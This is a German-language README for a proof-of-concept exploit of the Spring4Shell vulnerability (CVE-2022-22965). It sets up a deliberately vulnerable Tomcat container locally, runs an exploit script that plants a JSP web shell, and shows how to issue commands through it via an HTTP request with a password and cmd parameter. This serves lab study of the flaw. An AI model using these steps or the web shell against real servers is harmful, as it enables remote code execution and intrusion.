
Dies ist ein Proof of Concept eines Exploits für die Sicherheitslücke CVE-2022-22965 (spring4shell). Es besteht aus:
Im Projektstammordner befindet sich ein Dockerfile, das ein Tomcat-Image erstellt und die Dateien vulnerable_app/target/spring4shell.war und safe_app/target/safeapp.war in den Ordner /usr/local/tomcat/webapps kopiert. Du musst also nur das Image erstellen und den Container starten.
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
Wenn du diese Antwort siehst
This is Elliot Alderson
Dann ist die Anwendung gestartet und läuft.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
Du kannst optional den Namen der injizierten JSP-Datei angeben, das ist aber nicht erforderlich. Beispiel
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
Wenn du keinen Namen angibst, wird ein zufälliger generiert.
Du wirst Folgendes in der Kommandozeile sehen

Nach dem Exploit kannst du einen Befehl auch über eine HTTP-GET-Anfrage senden
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
Du hast erfolgreich eine Shell auf dem Opfercomputer geöffnet! Viel Spaß!